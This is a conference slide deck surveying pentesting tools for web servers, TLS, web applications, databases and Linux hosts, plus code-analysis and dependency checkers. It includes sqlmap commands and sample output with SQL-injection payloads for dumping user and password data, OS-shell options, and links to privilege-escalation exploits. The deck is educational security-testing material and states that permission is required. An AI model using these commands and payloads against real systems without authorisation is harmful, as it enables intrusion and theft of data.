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Quick Poll

Working in Development?

Working in Security?

Ever used Pentesting Tools?

Working in Operations?
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What’s in this talk?

Disclaimer:  
Only use the presented tools and techniques on targets where you have explicit permission to pentest!

Tools for 

Fingerprinting

Tools for 

Web/Backend Pentesting

Tools for 

Operating System Checks
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FINGERPRINTING
Finding low-hanging fruits of your target…
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CHRISTIAN



SCHNEIDER
CHRISTIAN

Skipping this topic in the talk…

… but for you available in the slides ;-)
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Basic Webserver Fingerprinting 

nikto
https://cirt.net/Nikto2
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Nikto: Web Server Fingerprinting & Scanning
• Commandline script (Perl)


• Scans webserver for thousands of potentially dangerous files 

• Checks for outdated versions and version-specific problems  

• Update rules before scan: 


• via new content from git repo


• Output formats of results: TXT, CSV, HTML, XML
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+ Server: Apache/2.2.9 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color


+ The anti-clickjacking X-Frame-Options header is not present.


+ OpenSSL/0.9.8l appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o 
and 0.9.8zc are also current.


+ mod_ssl/2.2.14 appears to be outdated (current is at least 2.8.31) (may depend on 
server version)


+ Apache/2.2.9 appears to be outdated (current is at least Apache/2.4.12). Apache 
2.0.65 (final release) and 2.2.29 are also current.


+ /manager/status: Default Tomcat Server Status interface found 

+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST


+ OSVDB-561: /server-status: This reveals Apache information. Comment out 
appropriate line in the Apache conf file or restrict access to allowed sources.

Simple webserver scan:     ./nikto -h example.com
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/server-status   reveals Apache information

Anything interesting?
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jsessionid visible as part of URL in server-status

Anything interesting?
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O’RLY?
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SSL / TLS scanning 

testssl.sh
https://testssl.sh
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--> Testing ~standard cipher lists 

 Null Ciphers                              not offered (OK)


 Anonymous NULL Ciphers       not offered (OK)


 Anonymous DH Ciphers           not offered (OK)


 40 Bit encryption                      not offered (OK)


 56 Bit encryption                      not offered (OK)


 Export Ciphers (general)           not offered (OK)


 Low (<=64 Bit)                           not offered (OK)


 DES Ciphers                              not offered (OK)


 Medium grade encryption      offered (NOT ok) 

 Triple DES Ciphers                    not offered (OK)


 High grade encryption              offered (OK)

Checking HTTPS config:   ./testssl.sh example.com
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--> Testing vulnerabilities 

 Heartbleed (CVE-2014-0160)                            not vulnerable (OK) (timed out)


 CCS (CVE-2014-0224)                                      not vulnerable (OK)


 Secure Renegotiation (CVE-2009-3555)           not vulnerable (OK)


 Secure Client-Initiated Renegotiation               not vulnerable (OK)


 CRIME, TLS (CVE-2012-4929)                          not vulnerable (OK)


 BREACH (CVE-2013-3587)                              NOT ok: uses gzip HTTP compression 

 POODLE, SSL (CVE-2014-3566)                       not vulnerable (OK)


 TLS_FALLBACK_SCSV (RFC 7507), experim.   Downgrade attack prevention supported (OK)


 FREAK (CVE-2015-0204)                                   not vulnerable (OK)


 LOGJAM (CVE-2015-4000), experimental         not vulnerable (OK)


 BEAST (CVE-2011-3389)                                   no CBC ciphers for TLS1 (OK)


 RC4 (CVE-2013-2566, CVE-2015-2808)          VULNERABLE (NOT ok): RC4-SHA RC4-MD5

Direct scans for SSL / TLS vulnerabilities
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OWASP O-Saft as alternative

Great commandline tool for testing SSL/TLS 
certificates also of different protocols than HTTP 

like SMTP, POP3, IMAP, LDAP, RDP, XMPP, 
MQTT … 

https://www.owasp.org/index.php/O-Saft
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Online SSL / TLS Scan
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Online Security Headers Scan
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WEB/BACKEND PENTESTING
Attacking on the web layer…
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Web/Backend Scanning

OWASP ZAP
https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
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ZAP is the Pentester’s IDE
• Passive Scanning (Proxy / Spider)


• Active Scanning (Proxy / Spider)


• Intercepting Proxy (HTTP & HTTPS) 

• Spider (classic & AJAX)


• Fuzzing


• Extensible via Plugins


• Highly scriptable


• Headless mode & REST-API available
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ZAP is the Pentester’s IDE

Request Sitemap Tree

History, Scan Results, Running Scans, Active Sessions, etc.

Request / Response
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ZAP Quick-Start Mode
• "Quick-Start Mode" - useful for public parts only (i.e. no login)


• Just enter URL and let ZAP actively crawl and attack the website 
(permission required of course)
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First findings are appearing…



SCHNEIDER
CHRISTIAN

This only attacks the public parts…

How can we let ZAP spider inside the 
authenticated parts of the web application?



SCHNEIDER
CHRISTIAN

Spidering within the authenticated parts…

• Multiple ways exist to let ZAP spider the authenticated parts:


• Configure authentication within ZAP 
—> works for standard login dialog submits


• Individually script authentication within ZAP 
—> flexible (and sometimes complex) scripted in JavaScript 
—> can be recorded as Zest-Script


• Manually guide ZAP (via browser) through the login 
—> easiest approach 
—> works with any login style  
—> plus has a benefit we need later on…
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Proxy your browser of choice through ZAP
1. Configure a local proxy port in ZAP & adjust your browser’s proxy settings


2. Access the application as usually with your browser: perform a login & logout 
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Define the "Context" of the application to spider
• Defines the outer boundaries of where ZAP can do it’s "evil" work…
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Exclude the "Logout URL" from spider (and scanner)
• Login & Logout via browser in target application to let ZAP see the logout request
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… and delete the logout node to not spider from it
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Ensure you have a valid web session "logged-in"

• Ensure browser (proxying through ZAP) is logged in & session ID is 
noticed by ZAP and marked as active
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… now let ZAP spider (includes a passive scan)
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Spider Log shows requests & exclusions …
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Sitemap tree gets filled from spidering …
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Still we miss some parts within  
the web application sitemap…

How can we get scanner coverage  
for JavaScript-heavy web applications?  

 

What about forms where valid business  
data needs to be submitted  

or a certain order must be followed?
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Enrich ZAP’s sitemap by manual surfing to the white spots
• Login with browser to manually surf within the authenticated parts 

• If you have UI test automation: Reuse it via proxy to get more coverage

Web Browser

UI-Tests 
(Selenium, etc.)

Service-Tests
(REST, SOAP)

Application Server

OWASP ZAP

passive & active 
scanning of proxied 

traffic by ZAP

Manual 
Surfing
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Pro-Tip: Persist recorded  
ZAP session for later reuse

• Don’t forget to persist ZAP session  
file of collected requests


• Reuse in future scans


• Only needs to be extended when  
new UI dialogs are implemented
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Now that we’ve got coverage,  
let’s start the active attacks…

During active scans ZAP sends multiple 
payload variants per request parameter 

and checks responses for evidence…
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Again ensure you have a valid logged-in web session in ZAP

• ZAP needs to know which observed session-id it should use  
for the attacks…
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Let ZAP scan the spidered results actively
• ZAP attacks all nodes below the one where active scan starts
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Active scan log
• First samples of active scan requests & responses are logged for inspection



SCHNEIDER
CHRISTIAN

What about the scan results?

Let’s inspect the findings & create reports…
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Finally more major findings are appearing
• Grouped by vulnerability:
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Request & response details for each finding visible:
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Result flags also appear in sitemap tree
• Flag colors indicate severity
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Generate Scan Report
• ZAP exports HTML (and XML) reports of findings
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Summary: Useful ZAP Scan Workflow
1. Let ZAP spider in authenticated parts of the web application


• For example by using the session-id from manual surfing  
with browser  

2. Enrich the sitemap tree with manual application usage 


• Covering requests not spidered


• Also UI tests can be reused here instead of manual surfing 

3. Actively scan all requests or desired sub-tree of sitemap
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Going beyond the defaults…

ZAP scans can be highly configured
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Define which "Input Vectors" to use for attack payload placement

Injection Points
Supported Formats

Ignored Request Parts
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Speed up the scan by narrowing technology stack to check
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Choose the "Threshold" & "Strength" of each vulnerability check
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Custom scans of single requests

Fine-tuning via precise manual  
scanner placement…
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Fine-tuned targeted scans
• Sometimes only specific parts of a single request need to be scanned


• Simply use active scan on a single request:
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Define your custom input vectors from the request:
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"Scan as you surf"

Using ZAP’s ATTACK-Mode
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Scanning certain user paths: Let ZAP follow your browser…

• ZAP’s ATTACK-Mode scans every new request seen in proxy 


• No need to first spider and then actively scan as two steps 
• Well suited for multi-step forms that need to be followed  

in a specific order
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Extending & Customizing ZAP

Utilizing ZAP’s ecosystem of  
add-ons & scripting possibilities
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For example: "Advanced SQL-Injection Scanner"
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Scripting possibilities
• Custom authentication scripts, input vector scripts, scan rules, etc.
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Automation (Security DevOps)

Running ZAP scans within the build
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ZAP features relevant for Security DevOps
• Headless operation mode / daemon

• Session file persistence (of preconfigured settings)


• REST-API 
• Highly scriptable

• CLI
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Execution of ZAP from within Jenkins
Jenkins plugin "ZAP Jenkins Plugin" uses ZAP to "spider & scan"



SCHNEIDER
CHRISTIAN

What about non-HTTP(S) protocols?

ZAP can attack also WebSockets
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What about other non-HTTP(S) 
protocols — like MQTT?

Here several other tools jump in, as presented 
on the next slides…
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Skipping this topic in the talk…

… but for you available in the slides ;-)
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Mallroy Proxy: Good old transparent TCP/UDP proxy
Can proxy any TCP/UDP traffic transparently

Requires some kind of setup (best via Linux VM and iptables)

Rule-based to define what should be intercepted

Has a UI to intercept and modify any TCP/UDP traffic


like MQTT and others
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Mallroy Proxy: Good old transparent TCP/UDP proxy
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Burp "Nope"-Extension: non-HTTP(S) proxy
Uses custom DNS server to easily redirect traffic to Burp

Intercepts non-HTTP(S) traffic on multiple ports


SSL/TLS certificate can be imported into client device

Offers "Repeating", "Interception", and "Automation"

Pre and Post Interceptor Functions to decode and reencode to 
make things human-readable


See https://github.com/summitt/Burp-Non-HTTP-Extension 
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Burp "Nope"-Extension: DNS setup to get traffic

Image source: https://github.com/summitt/Burp-Non-HTTP-Extension 
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Burp "Nope"-Extension: Inspecting traffic

Image source: https://github.com/summitt/Burp-Non-HTTP-Extension 
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Burp "Nope"-Extension: Manual traffic interception

Image source: https://github.com/summitt/Burp-Non-HTTP-Extension 

Modifications can also be automated using Python…
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Burp "Nope"-Extension: Custom encoder/decoder

Image source: https://github.com/summitt/Burp-Non-HTTP-Extension 

Useful for decoding full binary formats to something human-readable

… and for re-encoding it after manual modifications

Protobuf Example decoded…

… and re-encoded  
after modification
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Anything directly for MQTT?

• The well-known mqtt-spy as MQTT UI-based client 
• programmatically Eclipse Paho Java Client

See https://www.hivemq.com/blog/mqtt-toolbox-mqtt-spy
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Web Application Scanning

Arachni
http://www.arachni-scanner.com
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Arachni Scanner
• Command-Line Interface (CLI)


• Optional Web-UI


• RPC / REST-API


• Headless browser cluster with JavaScript evaluation


• Better at spidering JavaScript-heavy applications 

• Auto-login handling & session management


• Scanning authenticated application parts
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Define login procedure as JavaScript 

… to be executed by Arachni on login dialog.
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Arachni Report Conversion
• Report files (*.afr) can be converted to XML, HTML, etc.


• ./arachni_reporter "scan 2018-08-21.afr" --reporter=html:outfile=report.zip
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Grouped by severity & vulnerability
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Request & response details for each finding
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Automation (Security DevOps)

Recurring Arachni scans  
on a scheduled basis
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Arachni Server with Web-UI
• Centralized management of scan profiles


• Scheduling of recurring scans

Mon, 17 Sep 2018 18:30:00
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sqlmap

SQL-Injection Scanning

http://sqlmap.org
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Skipping this topic in the talk…

… but for you available in the slides ;-)
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sqlmap: Deep scans for SQL-Injections
• Command-Line Interface (CLI)


• Works on a single request


• Useful for verification of potential SQL-Injections


• even with blind SQL-Injections


• Helpful in post-exploitation and for deep checks
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./sqlmap   

--banner  
--current-user  
--current-db  
--users  
--passwords  
--dbs 

-u  
   https://example.com/savings/generateOverview? 
   id=611298&yearStart=2016&monthStart=2

What to steal 
from database

Request to scan  
(form POST data and  

Cookies can be included)
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Start the scan…
[INFO] testing connection to the target URL

[INFO] testing if GET parameter 'id' is dynamic

[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable  
(possible DBMS: 'PostgreSQL') 
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable  
[INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'

[INFO] GET parameter 'id' is 'PostgreSQL AND error-based - WHERE or HAVING clause' 
injectable  
[INFO] testing 'PostgreSQL inline queries'

[INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'

[INFO] target URL appears to have 12 columns in query 
[INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
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sqlmap prints payload(s) that were usable…
Type: boolean-based blind 
Title: AND boolean-based blind - WHERE or HAVING clause 
Payload: id=0 AND 7506=7506 


Type: UNION query 
Title: Generic UNION query (NULL) - 12 columns 
Payload: id=0 UNION ALL SELECT 
NULL,NULL,NULL,NULL,NULL,NULL,(CHR(113)||CHR(106)||
CHR(113)||CHR(121)||CHR(113))||(CHR(100)||CHR(65)||CHR(120)||
CHR(118)||CHR(113)||CHR(111)||CHR(88)||CHR(73)||CHR(101)||
CHR(75))||(CHR(113)||CHR(118)||CHR(108)||CHR(117)||
CHR(113)),NULL,NULL,NULL,NULL,NULL--  


Type: AND/OR time-based blind 
Title: PostgreSQL > 8.1 AND time-based blind 
Payload: id=0 AND 9713=(SELECT 9713 FROM PG_SLEEP(5)) 
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… and it fetches (steals) 

the desired data by exploiting


the SQL-Injection.
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Read tables from DB metadata:    sqlmap --tables …

Database: banking

[43 tables]

+---------------------+

| account             |

| account_balance     |

         ...

| customer            |

| customer_log        |

         ...

+---------------------+
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Read columns:      -T customer --columns …
Database: banking

Table: customer

[14 columns]

+-------------------+---------+

| Column            | Type    |

+-------------------+---------+

| balance           | money   |

| city              | varchar |

| date_of_birth     | date    |

| email             | varchar |

| firstname         | varchar |

| lastname          | varchar |

...



SCHNEIDER
CHRISTIAN

Read data:     --sql-shell

[INFO] calling PostgreSQL shell.

sql-shell> select lastname, balance from customer;
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Read data:     --sql-shell

[INFO] calling PostgreSQL shell.

sql-shell> 

 
[INFO] fetching SQL SELECT statement query output 

[*] Smith, 1250

[*] James, 10200

[*] Meyer, -2250 

select lastname, balance from customer;
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Pwn the box: Execute OS commands via SQL-Injection

These sqlmap options can be used to access the DB’s 
underlying OS (mostly by creating UDFs)

  --os-cmd=CMD   Execute an OS command 
  --os-shell             Prompt for an interactive OS shell 
  --os-pwn              Prompt OOB shell, meterpreter,  VNC 
  --os-bof                Stored-Proc buffer overflow exploit 
  --priv-esc             DB process user privilege escalation 
         . . .                                           . . .
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Pro-Tip: Give sqlmap-like  
deep scan capabilities to ZAP

• ZAP Add-On "Advanced SQL-Injection 
Scanner" uses checks derived from sqlmap


• including blind SQL injection checks  
(via timing side-channel)
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OK, but we use a  
NoSQL database…

nosqlmap is your scanning tool  
of choice (CLI like sqlmap)
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WebService Scanning

WS-Attacker
https://github.com/RUB-NDS/WS-Attacker
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Skipping this topic in the talk…

… but for you available in the slides ;-)
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WS-Attacker: SOAP WebService Security Scanner
• Checks for SOAP- and XML-specific attacks against WebServices


• SOAPAction spoofing 

• WS-Addressing spoofing 

• XML Signature Wrapping 

• XML-based DoS attacks 

• XML Encryption attacks 

• etc.
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Attack configuration: Just point WS-Attacker to WSDL
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… select, configure & start attacks
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Pro-Tip: Using ZAP for 

WebService scanning

• ZAP also understands XML & JSON requests


• Useful for non-WebService specific checks  
like backend injections etc.


• Proxying any WebService request through  
ZAP in ATTACK-Mode will actively scan it
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OPERATING SYSTEM CHECKS
Down to the box during post-exploitation…

SCHNEIDER
CHRISTIAN
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Skipping this topic in the talk…

… but for you available in the slides ;-)
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Lynis

OS Hardening Checks

https://cisofy.com/lynis/
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Lynis checks OS for insecure config
• Command-Line Interface (CLI)


• Nothing to install, just a script


• Run on target machine:


• ./lynis --pentest audit system
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[+] System Tools 


[+] Boot and services 


[+] Kernel


[+] Memory and  
     processes 


[+] Users, Groups  
     & Authentication 


[+] Shells 


[+] File systems 


[+] Storage 


[+] NFS 


[+] Name services 


[+] Name services 


[+] Ports and  
     packages 


[+] Networking 


[+] Printers and  
     Spools 


[+] Software: firewalls 


[+] Software:  
     webserver 


[+] SSH Support 


[+] SNMP Support


[+] Databases


[+] LDAP Services


[+] PHP


[+] Squid Support


[+] Logging and files


[+] Insecure services


[+] Banners and  
     identification


[+] Scheduled tasks


[+] Accounting


[+] Time and 
Synchronization


[+] Cryptography


[+] Virtualisation


[+] Containers


[+] Security  
     frameworks


[+] Software: file  
     integrity


[+] Software: System  
     tooling


[+] Software:  
     Malware scanners


[+] File Permissions


[+] Home directories


[+] Kernel Hardening


[+] Hardening

Categories of OS configs checked by Lynis
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[+] Shells  

  - Checking shells from /etc/shells 


    Result: found 5 shells (valid shells: 5). 


    - Session timeout settings/tools         


  - Checking default umask values 


    - Checking default umask in /etc/bash.bashrc    


    - Checking default umask in /etc/profile                 

  - Shellshock: CVE-2014-6271 (original shellshocker) 

  - Shellshock: CVE-2014-6278 (Florian's patch, lcamtuf bug #2) 

Example Lynis findings
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Pro-Tip: Lynis also  
scans Dockerfiles

• Point Lynis to your Dockerfile: 
./lynis audit dockerfile <file>


• Additionally use "Docker Bench for Security"  
for security checking of Dockerfiles
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LinuxPrivChecker

OS Privilege Escalation Checks

http://www.securitysift.com/download/linuxprivchecker.py
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LinuxPrivChecker checks OS for escalation paths

• Command-Line Interface (CLI)


• Nothing to install, just a script


• Run on target machine:


• python linuxprivchecker.py 
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[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...  

[+] World Writeable Directories for User/Group 'Root'  

    drwxrwxrwt 2 root root 120 Dec 18 03:26 /run/shm 


    drwxrwxrwt 5 root root 100 Dec 18 07:21 /run/lock 


    drwxrwxrwt 4 root root 4096 Dec 18 06:59 /var/tmp 


    drwxrwxrwt 18 root root 4096 Dec 18 07:17 /tmp 


    drwxrwxrwt 2 root root 4096 Aug 29 09:07 /tmp/.X11-unix 


    drwxrwxrwt 2 root root 4096 Aug 29 09:07 /tmp/.ICE-unix 


[+] World Writeable Directories for Users other than Root  

    drwxrwxrwx 4 m.user m.user 4096 Jun 15  2014 /home/m.user/transfer

Running LinuxPrivChecker on a box…
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[+] World Writable Files  

[+] Checking if root's home folder is accessible  

[+] Logs containing keyword 'password'  

[+] Config files containing keyword 'password'  

[+] Shadow File (Privileged)  

[+] Sudo Version (Check out http://www.exploit-db.com/search/?
action=search&filter_page=1&filter_description=sudo) 


    Sudo version 1.8.3p1 


    Sudoers policy plugin version 1.8.3p1 


    Sudoers file grammar version 40 


    Sudoers I/O plugin version 1.8.3p1 


[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER... 
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[*] FINDING RELEVANT PRIVILEGE ESCALATION EXPLOITS 

• Kernel ia32syscall Emulation Privilege Escalation ||  
http://www.exploit-db.com/exploits/15023 || Language=c 


• Sendpage Local Privilege Escalation ||  
http://www.exploit-db.com/exploits/19933 || Language=ruby 


• CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit) ||  
http://www.exploit-db.com/exploits/15944 || Language=c 


• CAP_SYS_ADMIN to root Exploit ||  
http://www.exploit-db.com/exploits/15916 || Language=c 


• open-time Capability file_ns_capable() Privilege Escalation ||  
http://www.exploit-db.com/exploits/25450 || Language=c 


• open-time Capability file_ns_capable() - Privilege Escalation Vulnerability ||  
http://www.exploit-db.com/exploits/25307 || Language=c 



SCHNEIDER
CHRISTIAN

WHITEBOX ANALYSIS
Use the Source Luke…

SCHNEIDER
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FindSecBugs

Java Code Analysis

https://find-sec-bugs.github.io
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Scan your Java code for vulnerability patterns
• Plugin for FindBugs with over 125 checks for  

security issues in Java code


• Runs within FindBugs so that it …


• … executes in Maven, Jenkins, Sonar, etc.


• … offers also a command line interface (CLI)


• … has excellent IDE support  
(Eclipse, IntelliJ, Android Studio, NetBeans)


• Tip: Disable all non-security checks during security  
runs of FindBugs with FindSecBugs plugin active


• Tip: When you have JSPs: Use a JSP pre-compiler to let FindSecBug 
check them…
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IDE integration with code pointers and descriptions

Findings  
by Severity

Code Pointer  
to Vulnerability

ExplanationCollaboration
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What about other  
languages than Java?

Good OpenSource code scanners exist also 
for JavaScript and Ruby on Rails
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Pro-Tip: JavaScript Code Analysis 
with ESLint (using ScanJS rules)

• Scans for "DOM-based XSS" and more


• ./eslint --no-eslintrc -c ~/.scanjs-eslintrc .


• BTW: Also helpful in blackbox checks,  
as client-side JavaScript is like whitebox
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Pro-Tip: JavaScript Code Analysis 
with SonarJS

• Use SonarJS for more JavaScript scans


• When using TypeScript: Use SonarTS
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Pro-Tip: Ruby on Rails  
Code Analysis with Brakeman

• Scans RoR code for vulnerabilities


• CLI based


• Nicely integrates with Jenkins
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OK, but we use .NET …

Security Code Scan is a similar  
open-source SAST tool for .NET with 

integrations for Visual Studio and MSBuild 
https://security-code-scan.github.io
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OWASP  
Dependency Check

Dependency Analysis

https://www.owasp.org/index.php/OWASP_Dependency_Check
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Identify Java libraries known to be vulnerable
• OWASP Dependency Check scans all Java dependencies 

(even transitive ones) against CVE list


• Available as Maven plugin and Ant task


• CLI version also available


• ./dependency-check.sh  
  --project "Example App" --format HTML 
  --scan "/java/application/lib"


• Jenkins plugin for nice reporting and  
build breaking thresholds
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Generates reports in HTML, XML, …
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Pro-Tip: JavaScript Dependency 
Checks with retire.js

• Checks application’s JavaScript files against  
list of known to be vulnerable ones


• Available also as Maven Plugin …


• … and as CLI to point it to .js files folder
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Pro-Tip: Version-Checks without 
CVE-Relation (less false positives)

• "Versions" Maven Plugin


• simply checks version updates  
for Maven artifacts


https://www.mojohaus.org/versions-maven-plugin/examples/display-
dependency-updates.html
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Pro-Tip: Nightly Checks on the 
exact production branch

• Also nice to check automatically on development 
branches, BUT:


• Productive application is potentially under attack, 
so checks MUST occur also on exact that 
dependency set (as dev might be newer)


• Helpful to use CLIs of the checking tools



SCHNEIDER
CHRISTIAN

THANK YOU

Q & A 

Trainings for these and more pentesting tools  
& secure coding for devs:  

 
www.Christian-Schneider.net 
mail@Christian-Schneider.net


Twitter: @cschneider4711SCHNEIDER
CHRISTIAN


